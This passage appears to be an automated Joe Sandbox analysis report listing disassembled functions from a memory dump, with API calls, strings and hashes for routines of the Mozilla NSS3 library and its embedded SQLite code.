Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

%s at line %d of [%.10s], xrefs: 6C5F3171
database corruption, xrefs: 6C5F316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

winUnmapfile2, xrefs: 6C642F7F
winUnmapfile1, xrefs: 6C642F55
@vl, xrefs: 6C642E24
vl, xrefs: 6C642DD0
winSeekFile, xrefs: 6C642E9C
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C
winTruncate1, xrefs: 6C642EBE
winTruncate2, xrefs: 6C642EF8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C6C7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FB2

Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA51
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA6B
Part of subcall function 6C64BA40: EnterCriticalSection.KERNEL32 ref: 6C64BA83
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BAA1
Part of subcall function 6C64BA40: _PR_MD_UNLOCK.NSS3 ref: 6C64BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FD4

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6C9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C6C9466

PR_ExitMonitor.NSS3(?), ref: 6C6C801B
PR_EnterMonitor.NSS3(?), ref: 6C6C8034
TlsGetValue.KERNEL32 ref: 6C6C80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C80C0
PR_ExitMonitor.NSS3(?), ref: 6C6C811C
PR_ExitMonitor.NSS3(?), ref: 6C6C8134

Strings

), xrefs: 6C6C80DB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction ID: 218d4211d2806e0fdeb91b600e32244ead8b7be79a6ea467aff5cc16473bec5b
Opcode Fuzzy Hash: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction Fuzzy Hash: 03511071B047059AE7209F35DC04BEB77F0EF5A30CF08452AD95942A62EB31A909C69F

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
